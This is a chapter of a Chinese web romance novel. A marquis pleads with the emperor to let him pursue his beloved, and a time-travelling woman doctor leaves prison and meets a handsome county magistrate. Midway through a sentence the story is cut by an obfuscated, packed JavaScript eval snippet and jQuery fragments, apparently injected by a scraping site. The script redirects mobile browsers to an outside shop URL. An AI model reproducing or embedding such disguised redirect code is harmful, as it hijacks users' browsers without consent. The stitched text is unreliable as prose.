14. 第十四章

作品:《温柔医娘驯疯侯

    皇宫紫宸殿内,一声声咒骂荡开——


    “手足至亲,杀之恐伤天和?呸!他娘的说得轻巧,当初萧衍的刀架的不是他们的脖子!凌虐的也不是他们的妻女!”


    “那个范廷毅,他娘的,他居然敢威胁朕,辞官归乡,谏台这帮老腐儒还应和,他们是应声虫转世啊?”


    “一个个说的比唱的好听,忠君?还不是为了自己的名声,偏要装个圣人样,真令人作呕!”


    身着常服的当朝皇帝萧洵,满腔愤怒、张牙舞爪,唾沫横飞,把满朝文武骂了个遍。


    御座上的季衡如坐针毡。


    原本这种情况季衡早就习惯了。


    人前是和蔼可亲的明君,人后是嚣张跋扈的萧洵,凡是早朝有不顺心的,他就把季衡喊来,尽情骂上一通。


    以往季衡会随声附和,跟着皇帝骂一遍,等他消气了,领点不起眼的赏赐再回去。


    但今天,他一直闷不吭声,甚至不等萧洵骂完,噌的一下站起身来:“陛下,微臣这就去砍了范大人!”


    说着就往殿外去。


    萧洵急忙喝住他:“站住!”


    季衡停住脚步回身。


    萧洵三步并两步走上前去,伸出手指戳他心口,龙颜大不悦:“忠平,你今天怎么回事?老毛病又犯了,动不动喊打喊杀的,你记住,你可是朕亲封的平南侯,不是以前那个草莽山匪!”


    季衡绷不住了,扑通一声跪下,抱住萧洵大腿开始哭诉:“陛下,可怜可怜微臣吧!再不出发,微臣的娘子就给人拐走了!”


    萧洵惊了一跳:“什么娘子?敢情他们参奏你的事是真的?你剿匪还能顺带谈情说爱啊?”


    “也没有哪条律法说不可以啊。”


    “你胡闹……!”萧洵的脸都灰了,指着季衡的鼻子开骂,“朕已经给你物色人选了,你为何在外面另找一个,你是要打朕的脸面啊?”


    听了这话,季衡撒开手,跪得笔直,仰头看着萧洵:“陛下,当初打马征战时可说好的,微臣绝不出卖色相!联姻一事,已经把小凌搭进去了,微臣誓死不从!”


    萧洵差点一巴掌扇他脸上:“你个不争气的东西,柳御史家的小孙女,天仙似的人,你都没瞧过,怎么知道不喜欢?”


    “不喜欢!柳御史的孙女也好,王枢密使的女儿也好,微臣统统不喜欢!”


    萧洵抬脚踢他:“那都是名门闺秀、大家小姐,知点好歹吧你!”


    季衡见萧洵一时半刻不松口,还在劝说,索性撒泼打滚起来。


    “陛下,微臣只喜欢她,只要她!陛下不依,微臣便不起了!”


    萧洵也是要面子的,堂堂平南侯,没皮没脸在他的殿上,像只浑耗子一样滚来滚去,传出去像话嘛!


    他赶紧拂手作罢:“好了好了!准准准,你喜欢就行,赶快起来!”


    季衡一个鲤鱼打挺翻起来,端端正正跪下磕了三个响头:“微臣谢陛下隆恩!”


    话音才落,萧洵还没说完话,人已经飞出去了。


    季衡是真着急。


    从接到忍冬的信那一刻起,就心急火燎。


    忍冬说她曾在医馆小住过一段时间,又跟着馆主的女儿一起去了县城。


    能去县城,说明身体没有大碍,行动也是自由的。


    那她为什么不来找自己?


    明明已经把侯府的地址告诉她了的!退一万步说,就算没有路费,为什么连一封信都不肯寄来?


    她果然,没真心接纳他,在他离开的时间里,彻底想明白,所以直接跑了吗?


    为了不让他找到,甚至把家都烧了?


    只是想到这种可能,季衡就觉得心被利剑穿过一般,痛得呼吸不上。


    不,不要往坏的方面去想,她一定有自己的苦衷,她是那么温柔善良的人,怎么可能偏偏对自己这么狠心呢?


    他摸着衣服里的金铃,心才稍稍平静了些。


    ……


    栗岫云无罪释放时,已经在大牢里关八天了。


    案子比她意料的要顺利。


    一则王育枢带人赶到及时,现场没有任何篡改和破坏,这为栗岫云的供述提供了强有力的证据。


    二则丁二不过是吴家雇的打手,还没重要到需要吴老爷出面或是花钱摆平的地步。


    三则那两个汉子一入监牢,也不想沾染祸事,就老实交代了事情始末。


    她踏出县衙大门那刻,虽然浑身是牢里的污秽臭味,却觉得一身轻松。


    程青青来接她,一照面,泪就忍不住决堤:“太好了……云姐姐,你没事真是太好了……”


    栗岫云想给她擦泪,奈何自己两手漆黑,只好笑着安慰:“看,我们渡过第一个难关了。”


    回了住处,栗岫云好好洗了个澡。


    苗三妹担心了她好几日,又恰巧她姐姐送了半只鸡来,非要请栗岫云吃饭,说是吃点荤的去去晦气。


    程青青做了两个菜,端过去一起吃。


    吃了饭,栗岫云给她把脉,又看了看舌苔。


    “胎像很平稳,我还怕那日的事惊着你,现在放心了。”


    苗三妹扁了扁嘴:“大郎说,他一定会想办法帮你,让我不要担心,千万养好身子,你是郎中,一定最希望看见自己的病人安康。”


    栗岫云看了看在外面收拾家务的王育枢,满眼笑意:“你真是好福气,有这么疼你的夫君。”


    苗三妹自然是羞涩一笑,又絮叨了两句,栗岫云才回去。


    这几日,程青青已经把床铺搬到另一个屋子。


    躺在床上,栗岫云忍不住问:“青青,你会害怕吗?”


    “怕什么?怕丁二变成恶鬼来索命?”


    栗岫云轻轻笑了笑。


    她本是不信鬼神之说的,可现在自己穿越时空,与这个姑娘共享一副躯体,倒不免有些自我怀疑了。


    “别怕,云姐姐,他活着打不过你,变成了鬼,一样是手下败将。”


    这话逗得栗岫云扑哧笑出声来。


    简单又朴素的道理,管它什么鬼神穿越,她赢了,她才是活着那个。


    “也多亏了青柏,不然我们早被那两个汉子抓走了。”栗岫云感叹。


    “嗯,他是个好人。”程青青应道。


    “找机会给他送个礼,咱们也攀攀县衙的关系,说不定以后开医馆还要仰仗他呢。”


    “好是好,就是手头没钱啊,毕竟是知县亲随,一般礼物他也看不上吧?”


    是有点伤脑筋。


    两人合计了半天,决定送青柏一个便携药囊。


    正好是两人都擅长的领域,既实用便宜,不显得太贵重有行贿之嫌,又能体现诚意。


    囊袋是程青青缝的,毕竟栗岫云不会手工活。


    药丸则是栗岫云做的,也快入夏了,做些祛暑醒脑的常用药,金疮药是她调整了配方做的。


    这天中午,程青青出去卖药,她带着洗干净的衣服和药嚢,去县


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946954|193028||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    衙找青柏。


    天不赶巧,出门还是艳阳,还差几百米就到县衙,忽而狂风怒号,眨眼间就是倾盆大雨。


    她被兜头淋个透,为了不把青柏的衣服弄湿,紧紧抱在怀里往前冲。


    到了之后,跟门子说明来意,那老爷子冷着脸回了句:“等着。”


    栗岫云擦了擦脸,乖乖候着,刚歇了一息的功夫,便见着雨幕里冲进来两个人影。


    栗岫云下意识往后挪了一下,定睛一瞧,来的不是旁人,正是知县周阔。


    随从要帮他擦衣服上的水,他不满的挥了挥手:“去取伞来。”


    那小厮头也不回冲进县衙去。


    周阔这才抬起脸朝她看来。


    栗岫云只在公审那天远远见过他。


    依稀记得,公座后的他,一身青衣衬得面如皎月,身形挺拔,慢悠悠拿帕子擦了擦手,接过师爷端来的茶,轻呷了一口。


    直到县尉把卷宗所有的内容读完,他才温吞吞问道:“双方对卷宗所述内容,可有异议?”


    如今近距离看,好一个眉若远山黛,目含秋水波,鼻似悬胆,朱唇皓齿的美男子,真真是让人难以侧目。


    不过是个简单的挥手动作,都自带一股清雅贵重的气质。


    在栗岫云审美里,青柏也算是少见的帅哥,但和这位知县相比,瞬间变得寡淡无味了。


    她正看得起劲,却见周阔脚一动,往她这边迈了两步。


    她心里一紧,忙把目光从他脸上移开,面脸上也腾起一股热气。


    他又迈了一步,此时,二人不过一臂的距离。


    这个距离,就算是现代,也有点太近了。


    栗岫云觉着这么僵持也不是个事,忙福了福身,柔声道:“民女见过知县大人。”


    栗岫云的视线下落,看见他摸了摸腰间的香囊。


    不得了,连手都骨节分明、白皙纤长,分外的好看。


    还带着一股清甜的香味,混着雨水气息飘进鼻腔里,弄得栗岫云脸更烫了。


    完蛋了,脸一定红得不得了。


    他怎么不说话呀……门子怎么还不回来……


    好尴尬……


    “你的声音,很耳熟。”


    终于说话了,栗岫云赶紧接话:“民女就是日前无罪释放的女犯,栗岫云。”


    “啊……是你,有点印象,名字怎么个写法?”


    嗯?他不应该看过卷宗,怎会不知道名字的写法?


    心里虽有疑惑,栗岫云还是恭谨回道:“取自‘云无心以出岫’,岫云二字。”


    周阔轻声一笑,声音变得更软和了:“还读过书?”


    “认得几个字而已。”


    “诶呀!不好了不好了!”一阵惊呼从县衙里传来,很快,一个女衙役跌跌撞撞跑出来,险些摔倒。


    她刚稳住身形,乍然看见门口站的人,吓得赶紧跪下磕首:“老爷恕罪!”


    “何事如此慌张?”周阔冷声问道。


    “回禀老爷,上个月关押的那个女犯,要生了!”


    周阔眉头略略皱了一下:“稳婆何在?”


    “麻婶子出去了,现在还没回来!”


    “你亦生育过,处理一下便是。”


    “万万不可啊老爷!”女衙役急声道,“她胎位不正,小的弄不了!”


    周阔眉头皱得更紧了,嘴唇微启,还没出言,身旁的栗岫云沉静开口:“大人,我懂生产之术,可否让我一试?”